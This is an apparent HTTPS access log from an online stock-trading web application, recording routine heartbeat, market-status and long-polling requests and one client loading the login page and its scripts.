[09/Jan/2026:12:55:20 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:12:55:20 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:12:55:20 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:12:55:23 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/54822?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767934792732 HTTP/1.1" -
[09/Jan/2026:12:55:25 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767934794585 HTTP/1.1" -
[09/Jan/2026:12:55:29 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/54822?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767934797989 HTTP/1.1" -
[09/Jan/2026:12:55:30 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767934799789 HTTP/1.1" -
[09/Jan/2026:12:55:33 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:12:55:33 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:12:55:33 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:12:55:33 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:12:55:34 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/54822?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767934803211 HTTP/1.1" -
[09/Jan/2026:12:55:35 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767934804913 HTTP/1.1" -
[09/Jan/2026:12:55:39 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/54822?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767934808403 HTTP/1.1" -
[09/Jan/2026:12:55:41 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767934809968 HTTP/1.1" -
[09/Jan/2026:12:55:44 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/54822?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767934813609 HTTP/1.1" -
[09/Jan/2026:12:55:45 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:12:55:45 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/login.html HTTP/1.1" 1755
[09/Jan/2026:12:55:45 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:12:55:45 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767934812789 HTTP/1.1" -
[09/Jan/2026:12:55:46 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767934815029 HTTP/1.1" -
[09/Jan/2026:12:55:49 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/54822?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767934818855 HTTP/1.1" -
[09/Jan/2026:12:55:50 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:12:55:50 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:12:55:50 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:12:55:50 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:12:55:51 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767934820137 HTTP/1.1" -
[09/Jan/2026:12:55:51 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:12:55:51 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Product HTTP/1.1" 689
[09/Jan/2026:12:55:52 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/style_common.css?v=20200819161914 HTTP/1.1" 2540
[09/Jan/2026:12:55:52 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/style.css?v=20200819161914 HTTP/1.1" 1435
[09/Jan/2026:12:55:52 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery-migrate-3.0.0.js HTTP/1.1" 4963
[09/Jan/2026:12:55:52 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery-3.3.1.js HTTP/1.1" 80650
[09/Jan/2026:12:55:52 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery.form-3.46.0.js HTTP/1.1" 5673
[09/Jan/2026:12:55:52 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery.validate-1.11.1.js HTTP/1.1" 7041
[09/Jan/2026:12:55:52 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/additional-methods.js HTTP/1.1" 2238
[09/Jan/2026:12:55:52 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery.blockUI-2.66.0.js HTTP/1.1" 6651
[09/Jan/2026:12:55:53 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery-ui-personalized-1.6rc2.min.js HTTP/1.1" 55543
[09/Jan/2026:12:55:53 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery.timer-0.9.16.js HTTP/1.1" 542
[09/Jan/2026:12:55:53 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery.getParams.js HTTP/1.1" 587
[09/Jan/2026:12:55:53 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/user/translation.js?jsv=20200819161914 HTTP/1.1" 12818
[09/Jan/2026:12:55:53 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/constants.js?jsv=20200819161914 HTTP/1.1" 400
[09/Jan/2026:12:55:53 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/haitong.js?jsv=20200819161914 HTTP/1.1" 3881
[09/Jan/2026:12:55:53 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/init.js?jsv=20200819161914 HTTP/1.1" 886
[09/Jan/2026:12:55:53 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/rsautil.js?jsv=20200819161914 HTTP/1.1" 1017
[09/Jan/2026:12:55:53 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/util.js?jsv=20200819161914 HTTP/1.1" 6636
[09/Jan/2026:12:55:53 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/login.js?jsv=20200819161914 HTTP/1.1" 1684
[09/Jan/2026:12:55:53 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/version.js?jsv=20200819161914 HTTP/1.1" 85
[09/Jan/2026:12:55:53 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/user/custom_variables.js?jsv=20200819161914 HTTP/1.1" 275
[09/Jan/2026:12:55:53 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/string_extend.js?jsv=20200819161914 HTTP/1.1" 272
[09/Jan/2026:12:55:53 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/pidcrypt.js?jsv=20200819161914 HTTP/1.1" 982
[09/Jan/2026:12:55:53 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/pidcrypt_util.js?jsv=20200819161914 HTTP/1.1" 1206
[09/Jan/2026:12:55:53 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/aes_core.js?jsv=20200819161914 HTTP/1.1" 2106
[09/Jan/2026:12:55:53 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/aes_cbc.js?jsv=20200819161914 HTTP/1.1" 2043
[09/Jan/2026:12:55:53 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/asn1.js?jsv=20200819161914 HTTP/1.1" 3099
[09/Jan/2026:12:55:53 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/sha256.js?jsv=20200819161914 HTTP/1.1" 1362
[09/Jan/2026:12:55:53 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/md5.js?jsv=20200819161914 HTTP/1.1" 1730
[09/Jan/2026:12:55:53 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/jsbn.js?jsv=20200819161914 HTTP/1.1" 6736
[09/Jan/2026:12:55:53 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/rng.js?jsv=20200819161914 HTTP/1.1" 481
[09/Jan/2026:12:55:53 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/prng4.js?jsv=20200819161914 HTTP/1.1" 303
[09/Jan/2026:12:55:53 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/rsa.js?jsv=20200819161914 HTTP/1.1" 1658
[09/Jan/2026:12:55:53 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/images/bg_login.jpg HTTP/1.1" 29296
[09/Jan/2026:12:55:53 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SystemMaintenanceCheck HTTP/1.1" 119
[09/Jan/2026:12:55:53 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/dialog.html?1767934821075 HTTP/1.1" 3188
[09/Jan/2026:12:55:55 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/54822?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767934824063 HTTP/1.1" -
[09/Jan/2026:12:55:56 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767934825270 HTTP/1.1" -
[09/Jan/2026:12:55:59 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/style_common.css?v=20200819161914 HTTP/1.1" 2540
[09/Jan/2026:12:55:59 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/style.css?v=20200819161914 HTTP/1.1" 1435
[09/Jan/2026:12:56:00 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/54822?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767934829264 HTTP/1.1" -
[09/Jan/2026:12:56:01 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767934830411 HTTP/1.1" -
[09/Jan/2026:12:56:03 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:12:56:03 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:12:56:03 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:12:56:03 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:12:56:05 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/54822?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767934834414 HTTP/1.1" -
[09/Jan/2026:12:56:06 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767934835528 HTTP/1.1" -
[09/Jan/2026:12:56:10 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/54822?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767934839614 HTTP/1.1" -
[09/Jan/2026:12:56:11 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767934840573 HTTP/1.1" -
[09/Jan/2026:12:56:16 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/54822?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767934844867 HTTP/1.1" -
[09/Jan/2026:12:56:16 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767934845689 HTTP/1.1" -
[09/Jan/2026:12:56:21 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:12:56:21 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:12:56:21 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:12:56:21 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:12:56:21 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/54822?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767934850236 HTTP/1.1" -
[09/Jan/2026:12:56:21 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767934850827 HTTP/1.1" -
[09/Jan/2026:12:56:26 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/54822?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767934855279 HTTP/1.1" -
[09/Jan/2026:12:56:27 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767934855976 HTTP/1.1" -
[09/Jan/2026:12:56:31 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/54822?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767934860536 HTTP/1.1" -
[09/Jan/2026:12:56:32 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767934861129 HTTP/1.1" -
[09/Jan/2026:12:56:33 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:12:56:33 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:12:56:33 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:12:56:33 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:12:56:36 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/54822?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767934865685 HTTP/1.1" -
[09/Jan/2026:12:56:37 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767934866247 HTTP/1.1" -
[09/Jan/2026:12:56:42 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/54822?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767934870934 HTTP/1.1" -
[09/Jan/2026:12:56:42 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767934871298 HTTP/1.1" -
[09/Jan/2026:12:56:47 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/54822?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767934876151 HTTP/1.1" -
[09/Jan/2026:12:56:47 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767934876446 HTTP/1.1" -
[09/Jan/2026:12:56:51 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:12:56:51 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:12:56:51 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:12:56:51 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:12:56:52 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/54822?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767934881412 HTTP/1.1" -
[09/Jan/2026:12:56:52 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767934881565 HTTP/1.1" -
[09/Jan/2026:12:56:57 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/54822?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767934886527 HTTP/1.1" -
[09/Jan/2026:12:56:57 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767934886696 HTTP/1.1" -
[09/Jan/2026:12:57:02 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/54822?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767934891733 HTTP/1.1" -
